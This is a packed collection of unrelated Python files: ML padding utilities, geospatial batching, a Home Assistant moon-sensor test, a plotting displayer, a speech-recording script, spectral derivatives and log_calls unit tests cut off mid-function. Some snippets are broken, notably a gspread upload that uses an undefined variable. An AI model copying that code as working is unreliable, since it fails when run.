length (int): Pad the ``tensor`` up to ``length``.
padding_index (int, optional): Index to pad tensor with.
Returns
(torch.Tensor [length, *]) Padded Tensor.
"""
n_padding = length - tensor.shape[0]
assert n_padding >= 0
if n_padding == 0:
return tensor
padding = tensor.new(n_padding, *tensor.shape[1:]).fill_(padding_index)
return torch.cat((tensor, padding), dim=0)
def pad_batch(batch, padding_index=PADDING_INDEX):
""" Pad a :class:`list` of ``tensors`` (``batch``) with ``padding_index``.
Args:
batch (:class:`list` of :class:`torch.Tensor`): Batch of tensors to pad.
padding_index (int, optional): Index to pad tensors with.
Returns
torch.Tensor, list of int: Padded tensors and original lengths of tensors.
"""
lengths = [tensor.shape[0] for tensor in batch]
max_len = max(lengths)
padded = [pad_tensor(tensor, max_len, padding_index) for tensor in batch]
padded = torch.stack(padded, dim=0).contiguous()
return padded, lengths
def flatten_parameters(model):
""" ``flatten_parameters`` of a RNN model loaded from disk. """
model.apply(lambda m: m.flatten_parameters() if hasattr(m, 'flatten_parameters') else None)
def shuffle(list_, random_seed=123):
""" Shuffle list deterministically based on ``random_seed``.
**Reference:**
https://stackoverflow.com/questions/19306976/python-shuffling-with-a-parameter-to-get-the-same-result
Example:
>>> a = [1, 2, 3, 4, 5]
>>> b = [1, 2, 3, 4, 5]
>>> shuffle(a, random_seed=456)
>>> shuffle(b, random_seed=456)
>>> a == b
True
>>> a, b
([1, 3, 2, 5, 4], [1, 3, 2, 5, 4])
Args:
list_ (list): List to be shuffled.
random_seed (int): Random seed used to shuffle.
Returns:
None:
"""
random.Random(random_seed).shuffle(list_)
def resplit_datasets(dataset, other_dataset, random_seed=None, split=None):
"""Deterministic shuffle and split algorithm.
Given the same two datasets and the same ``random_seed``, the split happens the same exact way
every call.
Args:
dataset (lib.datasets.Dataset): First dataset.
other_dataset (lib.datasets.Dataset): Another dataset.
random_seed (int, optional): Seed to control the shuffle of both datasets.
split (float, optional): If defined it is the percentage of rows that first dataset gets
after split otherwise the original proportions are kept.
Returns:
:class:`lib.datasets.Dataset`, :class:`lib.datasets.Dataset`: Resplit datasets.
"""
# Prevent circular dependency
from torchnlp.datasets import Dataset
concat = dataset.rows + other_dataset.rows
shuffle(concat, random_seed=random_seed)
if split is None:
return Dataset(concat[:len(dataset)]), Dataset(concat[len(dataset):])
else:
split = max(min(round(len(concat) * split), len(concat)), 0)
return Dataset(concat[:split]), Dataset(concat[split:])
def torch_equals_ignore_index(tensor, tensor_other, ignore_index=None):
"""
Compute ``torch.equal`` with the optional mask parameter.
Args:
ignore_index (int, optional): Specifies a ``tensor`` index that is ignored.
Returns:
(bool) Returns ``True`` if target and prediction are equal.
"""
if ignore_index is not None:
assert tensor.size() == tensor_other.size()
mask_arr = tensor.ne(ignore_index)
tensor = tensor.masked_select(mask_arr)
tensor_other = tensor_other.masked_select(mask_arr)
return torch.equal(tensor, tensor_other)
|
# Copyright (c) 2020 OpenMosaic Developers.
# Distributed under the terms of the Apache License, Version 2.0.
# SPDX-License-Identifier: Apache-2.0
"""Batch creation and handling and other processing related utils."""
import geopandas
import numpy as np
import pandas as pd
def hello_world():
"""Test that tests and project configuration work. TODO: Remove"""
return np.mean([41, 43])
def split_by_time_gap(df, datetime_col, time_delta):
"""Partition a DataFrame into datetime groups separated by a time gap.
Parameters
----------
df : pandas.DataFrame
Input dataframe with a datetime column to be partitioned
datetime_col : str
Column label for the datetime column to use
time_delta : numpy.timedelta64
Minimum spacing between datetime groups. Any rows of ``df`` within ``time_delta`` of
each other will be within the same group.
Returns
-------
list
List of individual dataframes representing the split groups
"""
return np.split(
df.sort_values(datetime_col),
np.argwhere((df[datetime_col].sort_values().diff() > time_delta).to_numpy()).flatten(),
)
def prepare_snapshots(
df,
datetime_col="datetime",
analysis_freq="H",
count_before=0,
count_after=0,
id_column="unique_id",
lon_column="lon",
lat_column="lat",
):
"""Expand individual location/time rows across time based on analysis frequency.
Parameters
----------
df : pandas.DataFrame
Input dataframe with rows containing entries to be expanded across time
datetime_col : str, optional
Column of dataframe with datetime. Defaults to 'datetime'.
analysis_freq : str, optional
Frequency on which analyses are conducted. All datetimes are associated with the
nearest time on regular intervals according to this frequency, and before/after
snapshots are separated by this frequency. Uses Pandas's time frequency parlance.
Defaults to 'H' (hourly).
count_before : int, optional
Number of additional snapshots before rounded time at the location. Defaults to 0.
count_after : int, optional
Number of additional snapshots after rounded time at the location. Defaults to 0.
id_column : str, optional
Column of preserved id label (for cross-referencing output with original input
dataframe). Defaults to 'unique_id'.
lon_column : str, optional
Column label of longitude. Defaults to 'lon'.
lat_column : str, optional
Column label of latitude. Defaults to 'lat'.
Returns
-------
geopandas.DataFrame
A geopandas dataframe with point geometry column added based on lons/lats, with rows
corresponding to the temporally rounded and expanded data.
"""
# Build time range
timedeltas = pd.timedelta_range(
start=0, periods=1 + count_before + count_after, freq=analysis_freq
)
timedeltas -= timedeltas[count_before]
# Collect snapshots
snapshots = []
for _, row in df.iterrows():
nearest_time = row[datetime_col].round(analysis_freq)
snapshots += [
(row[id_column], row[datetime_col], row[lon_column], row[lat_column], time)
for time in nearest_time + timedeltas
]
# Assemble into new dataframe
df = pd.DataFrame.from_records(
snapshots, columns=[id_column, datetime_col, lon_column, lat_column, "analysis_time"]
)
return geopandas.GeoDataFrame(
df, geometry=geopandas.points_from_xy(df["lon"], df["lat"], crs="EPSG:4326")
)
def get_subdomain_splits(geometry, buffer):
"""Split geometry collection-of-points into rectangular subdomains.
Parameters
----------
geometry : geopandas.GeoSeries
GeoSeries containing the points to be contained.
buffer : pandas.Series or float
One-half the maximum x/y distance separating points within the same subdomain. Works
by acting as a radius, which then defines a box, and non-overlaping subsets of the
unary union of these boxes are the subdomain regions.
Returns
-------
pandas.Series
Integer labels cooresponding to the subdomains of the input points once split.
"""
subsets = geometry.buffer(buffer).envelope.unary_union
regions = (
geopandas.GeoDataFrame(geometry=[subsets])
.explode()
.reset_index(drop=True)
.geometry.envelope
)
return pd.Series([regions.contains(p).idxmax() for p in geometry], geometry.index), regions
|
"""The test for the moon sensor platform."""
from __future__ import annotations
from unittest.mock import patch
import pytest
from homeassistant.components.homeassistant import (
DOMAIN as HA_DOMAIN,
SERVICE_UPDATE_ENTITY,
)
from homeassistant.components.moon.sensor import (
MOON_ICONS,
STATE_FIRST_QUARTER,
STATE_FULL_MOON,
STATE_LAST_QUARTER,
STATE_NEW_MOON,
STATE_WANING_CRESCENT,
STATE_WANING_GIBBOUS,
STATE_WAXING_CRESCENT,
STATE_WAXING_GIBBOUS,
)
from homeassistant.const import ATTR_ENTITY_ID
from homeassistant.core import HomeAssistant
from homeassistant.setup import async_setup_component
@pytest.mark.parametrize(
"moon_value,native_value,icon",
[
(0, STATE_NEW_MOON, MOON_ICONS[STATE_NEW_MOON]),
(5, STATE_WAXING_CRESCENT, MOON_ICONS[STATE_WAXING_CRESCENT]),
(7, STATE_FIRST_QUARTER, MOON_ICONS[STATE_FIRST_QUARTER]),
(12, STATE_WAXING_GIBBOUS, MOON_ICONS[STATE_WAXING_GIBBOUS]),
(14.3, STATE_FULL_MOON, MOON_ICONS[STATE_FULL_MOON]),
(20.1, STATE_WANING_GIBBOUS, MOON_ICONS[STATE_WANING_GIBBOUS]),
(20.8, STATE_LAST_QUARTER, MOON_ICONS[STATE_LAST_QUARTER]),
(23, STATE_WANING_CRESCENT, MOON_ICONS[STATE_WANING_CRESCENT]),
],
)
async def test_moon_day(
hass: HomeAssistant, moon_value: float, native_value: str, icon: str
) -> None:
"""Test the Moon sensor."""
config = {"sensor": {"platform": "moon"}}
await async_setup_component(hass, HA_DOMAIN, {})
assert await async_setup_component(hass, "sensor", config)
await hass.async_block_till_done()
assert hass.states.get("sensor.moon")
with patch(
"homeassistant.components.moon.sensor.moon.phase", return_value=moon_value
):
await async_update_entity(hass, "sensor.moon")
state = hass.states.get("sensor.moon")
assert state.state == native_value
assert state.attributes["icon"] == icon
async def async_update_entity(hass: HomeAssistant, entity_id: str) -> None:
"""Run an update action for an entity."""
await hass.services.async_call(
HA_DOMAIN,
SERVICE_UPDATE_ENTITY,
{ATTR_ENTITY_ID: entity_id},
blocking=True,
)
await hass.async_block_till_done()
|
import gspread
from oauth2client.service_account import ServiceAccountCredentials
scope = ["https://spreadsheets.google.com/feeds", 'https://www.googleapis.com/auth/spreadsheets',
"https://www.googleapis.com/auth/drive.file", "https://www.googleapis.com/auth/drive"]
credentials = ServiceAccountCredentials.from_json_keyfile_name('~/.client_secret.json', scope)
client = gspread.authorize(credentials)
spreadsheet = client.open('https://docs.google.com/spreadsheets/d/1XkZypRuOEXzNLxVk9EOHeWRE98Z8_DBvL4PovyM01FE')
with open(file, 'r') as file_obj:
content = file_obj.read()
client.import_csv(spreadsheet.id, data=content)
|
from __future__ import absolute_import, unicode_literals
import sys
from functools import reduce
if sys.version_info.major >= 3:
from builtins import map
from builtins import filter
else:
from itertools import imap as map
from itertools import ifilter as filter
|
from abc import ABC, abstractmethod
from dataclasses import dataclass
from typing import Any, List
import tkinter as tk
import matplotlib
matplotlib.use('TkAgg')
import matplotlib.backends.backend_tkagg as backend_tkagg
import matplotlib.pyplot as plt
class Displayer(ABC):
'''Abstract Class used to display informations from another class.
This display can be from different forms:
- Using Matlplotlib figures
- Using an associated server communicating to an associated Front-End'''
nb_cycle_update: int
ctr_cycle_update: int
def __init__(self, nb_cycle_update: int=1):
self.nb_cycle_update = nb_cycle_update
self.ctr_cycle_update = 0
@abstractmethod
def update(self):
'''Update of displayed informations'''
@dataclass
class MatplotlibPlot:
x: Any
y: Any
fmt: Any=None
label: str=None
linewidth: int=1
class Matplotlib_Displayer(Displayer):
new_window: Any=None
def __init__(self, fig, ax, master: tk.Tk, use_toolbar: bool=True, nb_cycle_update: int=1, title: str=None):
Displayer.__init__(self, nb_cycle_update=nb_cycle_update)
self.fig = fig
self.ax = ax
self.master = master
self.title = title
self.canvas = None
self.use_toolbar = use_toolbar
self.reinit_fig()
def reinit_fig(self):
'''Reinitialization of display'''
for a in self.ax:
a.clear()
def exist_window(self):
if self.new_window is None:
return False
return (self.new_window.winfo_exists() == 1)
def setup_new_window(self):
self.new_window = tk.Toplevel(self.master)
if self.title:
self.new_window.title(self.title)
self.new_window.geometry("400x400")
# # A Label widget to show in toplevel
# tk.Label(self.new_window,
# text=text).pack()
self.canvas = backend_tkagg.FigureCanvasTkAgg(self.fig, self.new_window)
self.canvas.get_tk_widget().pack(side=tk.BOTTOM, expand=True) #, fill=tk.BOTH
if self.use_toolbar:
toolbar = backend_tkagg.NavigationToolbar2Tk(self.canvas, self.new_window)
toolbar.update()
self.canvas._tkcanvas.pack(side=tk.TOP, fill=tk.BOTH, expand=True)
def update(self, data: List[List[MatplotlibPlot]]):
# Verification that data is coherent
if len(data) != len(self.ax):
raise ValueError('data should has the same size as the number of axes')
# Verify if window exists
if not self.exist_window():
self.setup_new_window()
# Check confirmation of update
self.ctr_cycle_update=(self.ctr_cycle_update+1)%self.nb_cycle_update
if self.ctr_cycle_update!=0:
return
# Update display
self.reinit_fig()
#Display only plot for the moment
for i,d in enumerate(data):
for signal in d:
if signal.fmt:
self.ax[i].plot(signal.x, signal.y, signal.fmt,
linewidth=signal.linewidth,
label=signal.label)
else:
self.ax[i].plot(signal.x, signal.y,
linewidth=signal.linewidth,
label=signal.label)
# Enable legend
for a in self.ax:
a.legend()
self.fig.canvas.draw()
if __name__=='__main__':
data_displayer= [
[
# 1rst Subplot
[
MatplotlibPlot([1,2,3,4], [0,1,2,3], label='test 1.1'),
MatplotlibPlot([2,3,4,5], [0,1,2,3], label='test 1.2'),
MatplotlibPlot([1,2,3,4], [1,2,3,4], label='test 1.3')
],
# 2nd Subplot
[
MatplotlibPlot([1,10], [-1,1], label='test 2'),
],
],
[
# 1rst Subplot
[
MatplotlibPlot([1,2,3,4], [0,-1,-2,-3], label='test 1.1'),
MatplotlibPlot([2,3,4,5], [0,-1,-2,-3], label='test 1.2'),
MatplotlibPlot([1,2,3,4], [-1,-2,-3,-4], label='test 1.3')
],
# 2nd Subplot
[
MatplotlibPlot([1,10], [-1,1], label='test 2'),
],
],
[
# 1rst Subplot
[
MatplotlibPlot([1,2,3,4], [0,1,2,3], label='test 1.1'),
MatplotlibPlot([2,3,4,5], [0,1,2,3], label='test 1.2'),
MatplotlibPlot([1,2,3,4], [1,2,3,4], label='test 1.3')
],
# 2nd Subplot
[
MatplotlibPlot([1,10], [-1,1], label='test 2'),
],
],
[
# 1rst Subplot
[
MatplotlibPlot([1,2,3,4], [0,-1,-2,-3], label='test 1.1'),
MatplotlibPlot([2,3,4,5], [0,-1,-2,-3], label='test 1.2'),
MatplotlibPlot([1,2,3,4], [-1,-2,-3,-4], label='test 1.3')
],
# 2nd Subplot
[
MatplotlibPlot([1,10], [-1,1], 'r', label='test 2'),
],
],
]
# Initialisation
fig, ax = plt.subplots(2, 1, sharex=True)
plt.close() # This enables to close correctly mainloop when app is destroyed
root = tk.Tk()
disp = Matplotlib_Displayer(fig, ax, root, nb_cycle_update=1)
disp.setup_new_window()
DELTA_TIME=1000
for i, d in enumerate(data_displayer):
root.after((i+1)*DELTA_TIME, disp.update, d)
root.mainloop()
print('done')
|
import speech_recognition as sr
from scipy.io.wavfile import write
import json
import os
import time
with open('dumping-wiki-6-july-2019.json') as fopen:
wiki = json.load(fopen)
combined_wiki = ' '.join(wiki).split()
len(combined_wiki)
length = 4
texts = []
for i in range(0, len(combined_wiki), length):
texts.append(' '.join(combined_wiki[i : i + length]))
r = sr.Recognizer()
r.energy_threshold = 1000
r.pause_threshold = 0.5
m = sr.Microphone()
try:
print('A moment of silence, please...')
print('Set minimum energy threshold to {}'.format(r.energy_threshold))
print('Adjusting minimum energy...')
with m as source:
r.adjust_for_ambient_noise(source, duration = 3)
print('Now set minimum energy threshold to {}'.format(r.energy_threshold))
for _ in range(50):
time.sleep(0.1)
for no, text in enumerate(texts):
filename = 'streaming/%s.wav' % (text)
try:
if os.path.isfile(filename):
continue
print('Say: %s' % (text))
with m as source:
audio = r.listen(source)
print('Got it! saving')
with open(filename, 'wb') as f:
f.write(audio.get_wav_data())
print(
'\nRecording finished: %s, left %d\n'
% (repr(filename), len(texts) - no)
)
except KeyboardInterrupt:
print('skip %s' % (filename))
continue
except KeyboardInterrupt:
pass
|
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from collections import *
class LocalConstraint():
def __init__(self, originalLabel, originalVertex, labelConstraintDict):
self.originalLabel=originalLabel
self.originalVertex=originalVertex
self.labelList=list(labelConstraintDict.keys())
self.labelNumberList=list(labelConstraintDict.values())
def __str__(self):
return 'original label : \t{}\noriginal vertex : \t{}\nlabel list : \t{}\nlabel number list : \t{}\n'.format(\
self.originalLabel, self.originalVertex,\
' '.join(map(str, self.labelList)), ' '.join(map(str, self.labelNumberList)))
def __rpr__(self):
return self.__str__()
def getCsvHeader():
return 'original label;original vertex;label list;label number list\n'
def getCsv(self):
return '{};{};{};{}\n'.format(\
self.originalLabel, self.originalVertex,\
' '.join(map(str, self.labelList)), ' '.join(map(str, self.labelNumberList)))
def generateLocalConstraint(pattern):
localConstraintList=[]
for vertex in pattern.node():
label=pattern.nodes[vertex]['label']
labelConstraintDict=defaultdict(int) #Default value is 0
for neighborVertex in pattern.neighbors(vertex):
labelConstraintDict[pattern.nodes[neighborVertex]['label']]+=1
localConstraintList.append(LocalConstraint(label, vertex, labelConstraintDict))
return localConstraintList
def writeLocalConstraint(outputResultDirectory, localConstraintList):
outputResultLocalConstraint=outputResultDirectory + 'local_constraint.txt'
with open(outputResultLocalConstraint, 'w') as file:
file.write(LocalConstraint.getCsvHeader())
for localConstraint in localConstraintList:
file.write(localConstraint.getCsv())
file.close()
|
import numpy as np
from numpy import arange, pi, zeros, exp, cos, ones
from spectralTransform import specTrans
from numpy import vstack, transpose, newaxis, linspace, sum
from numpy import hstack, dot, eye, tile, diag
#from numpy.fft.helper import ifftshift
from numpy.linalg import matrix_power
from numpy.fft import rfft, irfft, fft2,ifft2
class parSpectral(object):
def __init__(self, numPointsX, numPointsY, lengthX = 2*pi, lengthY = 2*pi , xType='Fourier', yType='Fourier'):
self.xn = numPointsX
self.yn = numPointsY
numCPU = 4
self.trans = specTrans(numPointsX, numPointsY, xType, yType, numCPU)
#Prepare the wavenumber arrays
self.kx = 2*pi*1j*(arange(numPointsX/2+1))/lengthX
self.ky = 2*pi*1j*(arange(numPointsY/2+1))/lengthY
self.cby = cos(linspace(0,pi, numPointsY))
self.lengthY = lengthY
#Prepare the filters
preserveX = self.xn/3
truncateX = self.xn/2 - preserveX
filterX = zeros((1, self.xn/2+1))
filterX[0, 0:preserveX] = 1.
i = arange(preserveX, self.xn/2)
filterX[0, i] = exp((preserveX-i)/1.)
self.filterX = filterX
preserveY = self.yn/3
truncateY = self.yn/2 - preserveY
filterY = zeros((self.yn/2+1, 1))
filterY[0:preserveY, 0] = 1.
i = arange(preserveY, self.yn/2)
filterY[i, 0] = exp((preserveY-i)/1.)
self.filterY = filterY
def chebMatrix(N):
m = arange(0,N)
c = (hstack(( [2.], ones(N-2), [2.]))*(-1)**m).reshape(N,1)
X = tile(cos(pi*m/(N-1)).reshape(N,1),(1,N))
dX=X-(X.T)
D=dot(c,1./c.T)/(dX+eye(N))
D -= diag(sum(D.T,axis=0))
return D
D = chebMatrix(numPointsY)
D[0,:] = np.zeros(self.yn)
D[-1,:] = np.zeros(self.yn)
self.D = D/(self.lengthY/2.)
def partialX(self,field, order=1):
self.trans.fwdxTrans(field)
temp = self.trans.interxArr
multiplier = (self.kx)**order
temp[:] = multiplier[np.newaxis, :] * temp[:]
temp[:] = self.filterX * temp[:]
self.trans.invxTrans()
return self.trans.outArr.real.copy()
def partialY(self,field, order=1):
self.trans.fwdyTrans(field)
temp = self.trans.interyArr
multiplier = (self.ky)**order
temp[:] = multiplier[:, np.newaxis] * temp[:]
temp[:] = self.filterY* temp[:]
self.trans.invyTrans()
return self.trans.outArr.real.copy()
def partialChebY(self,field):
N = self.yn - 1
z = cos(arange(0, N+1)*pi/N)
mf = arange(0, N+1)
m = mf[:, newaxis]
ans = zeros((N+1, self.xn))
newField = vstack((field, field[N-1:0:-1]))
self.trans.fwdyTrans(newField)
temp = self.trans.interCbyArr
multiplier = 1j*m
mtemp = multiplier* temp
self.trans.invyTrans(mtemp)
out = self.trans.outCbyArr.real.copy()
ans[1:N,:] = -out[1:N,:]/ (1- self.cby[1:N, np.newaxis]**2)**0.5
ans[0,:] = sum(m**2 * temp[mf,:], axis=0)/N + 0.5*N*temp[N,:];
ans[N,:] = sum( (-1)**(m+1) * m**2 * temp[mf,:], axis=0)/N + 0.5*(-1**(N+1))* N * temp[N];
return ans;
def ChebY(self,field):
N = self.yn - 1;
z = cos(arange(0, N+1)*pi/N) /self.lengthY;
mf = arange(0, N+1);
m = mf[:, newaxis];
ans = zeros((N+1, self.xn));
newField = vstack((field, field[N-1:0:-1]));
temp = rfft(newField, axis=0);
multiplier = 1j*m;
mtemp = multiplier* temp;
out = irfft(mtemp, axis=0);
ans[1:N,:] = -out[1:N,:]/ (1- self.cby[1:N, np.newaxis]**2)**0.5;
ans[0,:] = sum(m**2 * temp[mf,:], axis=0)/N + 0.5*N*temp[N,:];
ans[N,:] = sum( (-1)**(m+1) * m**2 * temp[mf,:], axis=0)/N + 0.5*(-1**(N+1))* N * temp[N];
return ans;
def ChebMatY(self, field, order=1):
return (dot(matrix_power(self.D, order), field))
def gradient(self, field):
return( [self.partialX(field), self.partialY(field)]);
def divergence(self, u, v):
return(self.partialX(u) + self.partialY(v));
def curl(self, u, v):
return(self.partialX(v) - self.partialY(u));
def laplacian(self, field):
return(self.partialX(field, 2) + self.partialY(field, 2));
def jacobian(self, a, b ):
return(self.partialX(a)*self.partialY(b) - self.partialX(b)*self.partialY(a));
|
import numpy
import numpy as np
def smooth_uniform_curve(curve, n: int):
if n == 1:
return curve
x = curve[..., 0]
values = curve[..., 1]
if n == -1 or curve.shape[0] <= n: # mean value
mean = numpy.tile(numpy.mean(values, -1, keepdims=True), 2)
return numpy.array([numpy.min(x), numpy.max(x)]), mean
else: # smooth kernel
result = np.convolve(values, np.ones((n,)) / n, mode='valid')
valid = x[n//2-1:-n//2 or None]
return np.stack([valid, result], -1)
def down_sample_curve(curve: np.ndarray, max_points: int):
if curve.shape[-2] <= max_points:
return curve
step = curve.shape[-2] // max_points
return np.concatenate([curve[::step], curve[-1:]], -2)
|
__author__ = "Brian O'Neill" # BTO
__version__ = '0.1.14'
__doc__ = """
100% coverage of deco_settings.py
"""
from unittest import TestCase
from log_calls import DecoSetting, DecoSettingsMapping
from log_calls.log_calls import DecoSettingEnabled, DecoSettingHistory
from collections import OrderedDict
import inspect
import logging # not to use, just for the logging.Logger type
import sys
# - - - - - - - - - - - - - - - - - - - - - - - - - - - -
# helper
# - - - - - - - - - - - - - - - - - - - - - - - - - - - -
import re
def collapse_whitespace(s):
s = re.sub(r'\n', ' ', s)
s = re.sub(r'\s\s+', ' ', s)
return s.strip()
##############################################################################
# DecoSetting tests
##############################################################################
class TestDecoSetting(TestCase):
info_plain = None
info_extended = None
@classmethod
def setUpClass(cls):
cls.info_plain = DecoSetting('set_once', int, 15,
allow_falsy=True, mutable=False)
cls.hidden = DecoSetting('hidden', bool, True,
allow_falsy=True, visible=False)
cls.twotype = DecoSetting('twotype', (logging.Logger, str), None,
allow_falsy=True)
# with extra fields
cls.info_extended = DecoSetting('extended', tuple, ('Joe', "Schmoe"),
allow_falsy=True, allow_indirect=False,
extra1='Tom', extra2='Dick', extra3='Harry')
def test___init__1(self):
"""without any additional attributes"""
self.assertEqual(self.info_plain.name, 'set_once')
self.assertEqual(self.info_plain.final_type, int)
self.assertEqual(self.info_plain.default, 15)
self.assertEqual(self.info_plain.allow_falsy, True)
self.assertEqual(self.info_plain.allow_indirect, True)
self.assertEqual(self.info_plain.mutable, False)
self.assertEqual(self.info_plain.visible, True)
self.assertEqual(self.info_plain._user_attrs, [])
def test___init__2(self):
"""without any additional attributes"""
self.assertEqual(self.hidden.name, 'hidden')
self.assertEqual(self.hidden.final_type, bool)
self.assertEqual(self.hidden.default, True)
self.assertEqual(self.hidden.allow_falsy, True)
self.assertEqual(self.hidden.allow_indirect, False) # because visible=False
self.assertEqual(self.hidden.mutable, True)
self.assertEqual(self.hidden.visible, False)
def test___init__3(self):
"""without any additional attributes"""
self.assertEqual(self.twotype.name, 'twotype')
self.assertEqual(self.twotype.final_type, (logging.Logger, str))
self.assertEqual(self.twotype.default, None)
self.assertEqual(self.twotype.allow_falsy, True)
self.assertEqual(self.twotype.allow_indirect, True) # because visible=False
self.assertEqual(self.twotype.mutable, True)
self.assertEqual(self.twotype.visible, True)
def test___init__4(self):
"""WITH additional attributes."""
self.assertEqual(self.info_extended.name, 'extended')
self.assertEqual(self.info_extended.final_type, tuple)
self.assertEqual(self.info_extended.default, ('Joe', "Schmoe"))
self.assertEqual(self.info_extended.allow_falsy, True)
self.assertEqual(self.info_extended.allow_indirect, False)
self.assertEqual(self.info_extended.mutable, True)
self.assertEqual(self.info_extended.visible, True)
self.assertEqual(self.info_extended._user_attrs, ['extra1', 'extra2', 'extra3'])
self.assertEqual(self.info_extended.extra1, 'Tom')
self.assertEqual(self.info_extended.extra2, 'Dick')
self.assertEqual(self.info_extended.extra3, 'Harry')
def test___repr__1(self):
plain_repr = "DecoSetting('set_once', int, 15, allow_falsy=True, " \
"allow_indirect=True, mutable=False, visible=True, pseudo_setting=False, indirect_default=15)"
self.assertEqual(repr(self.info_plain), plain_repr)
def test___repr__2(self):
hidden_repr = "DecoSetting('hidden', bool, True, allow_falsy=True, " \
"allow_indirect=False, mutable=True, visible=False, pseudo_setting=False, indirect_default=True)"
self.assertEqual(repr(self.hidden), hidden_repr)
def test___repr__3(self):
twotype_repr = "DecoSetting('twotype', (Logger, str), None, allow_falsy=True, " \
"allow_indirect=True, mutable=True, visible=True, pseudo_setting=False, indirect_default=None)"
self.assertEqual(repr(self.twotype), twotype_repr)
def test___repr__4(self):
ext_repr = "DecoSetting('extended', tuple, ('Joe', 'Schmoe'), " \
"allow_falsy=True, allow_indirect=False, " \
"mutable=True, visible=True, pseudo_setting=False, " \
"indirect_default=('Joe', 'Schmoe'), " \
"extra1='Tom', extra2='Dick', extra3='Harry')"
self.assertEqual(repr(self.info_extended), ext_repr)
##############################################################################
# DecoSetting tests
##############################################################################
class TestDecoSettingsMapping(TestCase):
# placeholders:
_settings_mapping = OrderedDict()
@classmethod
def setUpClass(cls):
cls._settings = (
DecoSettingEnabled('enabled', indirect_default=False),
DecoSetting('folderol', str, '', allow_falsy=True, allow_indirect=False),
DecoSetting('my_setting', str, 'on', allow_falsy=False, allow_indirect=True),
DecoSetting('your_setting', str, 'off', allow_falsy=False, allow_indirect=False,
mutable=False),
DecoSettingHistory('history', visible=False),
)
DecoSettingsMapping.register_class_settings('TestDecoSettingsMapping',
cls._settings)
def setUp(self):
"""__init__(self, *, deco_class, **values_dict)"""
self._settings_mapping = DecoSettingsMapping(
deco_class=self.__class__,
# the rest are what DecoSettingsMapping calls **values_dict
enabled=True,
folderol='bar',
my_setting='eek', # str but doesn't end in '=' --> not indirect
your_setting='Howdy',
history=False
)
def test_register_class_settings(self):
self.assertIn('TestDecoSettingsMapping', DecoSettingsMapping._classname2SettingsData_dict)
od = DecoSettingsMapping._classname2SettingsData_dict['TestDecoSettingsMapping']
self.assertIsInstance(od, OrderedDict) # implies od, od is not None, etc.
# self.assertEqual(len(od), len(self._settings))
names = tuple(map(lambda s: s.name, self._settings))
self.assertEqual(tuple(od), names)
def test___init__(self):
"""setUp does what __init__ ordinarily does:
__init__(self, *, deco_class, **values_dict)"""
self.assertEqual(self._settings_mapping.deco_class, self.__class__)
## TO DO - howdya test THIS?
## Implicitly, it gets tested and the descriptors it creates get tested.
## make_setting_descriptor is a classmethod.
# def test_make_setting_descriptor(self):
# descr = DecoSettingsMapping.make_setting_descriptor('key')
# self.fail()
def test__deco_class_settings_dict(self):
"""property. Can't use/call/test _deco_class_settings_dict till __init__"""
od = self._settings_mapping._deco_class_settings_dict
self.assertIs(od, self._settings_mapping._classname2SettingsData_dict[
self._settings_mapping.deco_class.__name__]
)
self.assertEqual(list(self._settings_mapping),
['enabled', 'folderol', 'my_setting', 'your_setting']
)
def test_registered_class_settings_repr(self):
settings_repr = """
DecoSettingsMapping.register_class_settings(
TestDecoSettingsMapping,
[DecoSetting('enabled', int, True, allow_falsy=True, allow_indirect=True, mutable=True, visible=True,
pseudo_setting=False, indirect_default=False),
DecoSetting('folderol', str, '', allow_falsy=True, allow_indirect=False, mutable=True, visible=True,
pseudo_setting=False, indirect_default=''),
DecoSetting('my_setting', str, 'on', allow_falsy=False, allow_indirect=True, mutable=True, visible=True,
pseudo_setting=False, indirect_default='on'),
DecoSetting('your_setting', str, 'off', allow_falsy=False, allow_indirect=False, mutable=False, visible=True,
pseudo_setting=False, indirect_default='off'),
DecoSetting('history', bool, False, allow_falsy=True, allow_indirect=False, mutable=True, visible=False,
pseudo_setting=False, indirect_default=False)
])
"""
self.assertEqual(
collapse_whitespace(self._settings_mapping.registered_class_settings_repr()),
collapse_whitespace(settings_repr)
)
def test__handlers(self):
self.assertEqual(self._settings_mapping._handlers,
(('enabled',), ('history',)))
def test__pre_call_handlers(self):
self.assertEqual(self._settings_mapping._pre_call_handlers,
('enabled',))
def test__post_call_handlers(self):
self.assertEqual(self._settings_mapping._post_call_handlers,
('history',))
def test__get_DecoSetting(self):
for key in self._settings_mapping._deco_class_settings_dict:
self.assertEqual(self._settings_mapping._get_DecoSetting(key),
self._settings_mapping._deco_class_settings_dict[key])
self.assertEqual(key, self._settings_mapping._get_DecoSetting(key).name)
def test___getitem__(self):
"""Test descriptors too"""
mapping = self._settings_mapping
self.assertEqual(mapping['enabled'], True)
self.assertEqual(mapping['folderol'], 'bar')
self.assertEqual(mapping['my_setting'], 'eek')
self.assertEqual(mapping['your_setting'], "Howdy")
self.assertEqual(mapping.enabled, True)
self.assertEqual(mapping.folderol, 'bar')
self.assertEqual(mapping.my_setting, 'eek')
self.assertEqual(mapping.your_setting, "Howdy")
def get_bad_item(bad_key):
return mapping[bad_key]
def get_bad_attr(bad_attr):
return getattr(mapping, bad_attr)
def get_hidden_item():
return mapping['history']
def get_hidden_attr():
return mapping.history
self.assertRaises(KeyError, get_bad_item, 'no_such_key')
self.assertRaises(AttributeError, get_bad_attr, 'no_such_attr')
self.assertRaises(KeyError, get_hidden_item)
self.assertRaises(AttributeError, get_hidden_attr)
def test___setitem__(self):
"""Test descriptors too.
Test your_setting -- mutable=False"""
mapping = self._settings_mapping
mapping['enabled'] = False
mapping['folderol'] = 'BAR'
mapping['my_setting'] = 'OUCH'
def set_item_not_mutable(s):
mapping['your_setting'] = s
self.assertRaises(ValueError, set_item_not_mutable, "HARK! Who goes there?")
self.assertEqual(mapping['enabled'], False)
self.assertEqual(mapping['folderol'], 'BAR')
self.assertEqual(mapping['my_setting'], 'OUCH')
self.assertEqual(mapping['your_setting'], "Howdy") # not mutable, so not changed!
# Now set back to mostly 'orig' values using descriptors
mapping.enabled = True
mapping.folderol = 'bar'
mapping.my_setting = 'eek'
def set_attr_not_mutable(s):
mapping.your_setting = s
self.assertRaises(ValueError, set_attr_not_mutable, "This won't work either.")
self.assertEqual(mapping.enabled, True)
self.assertEqual(mapping.folderol, 'bar')
self.assertEqual(mapping.my_setting, 'eek')
self.assertEqual(mapping.your_setting, "Howdy")
mapping.__setitem__('your_setting', 'not howdy', _force_mutable=True)
self.assertEqual(mapping.your_setting, "not howdy")
# Now test setting a nonexistent key, & a nonexistent attr/descr
def set_bad_item(bad_key, val):
mapping[bad_key] = val
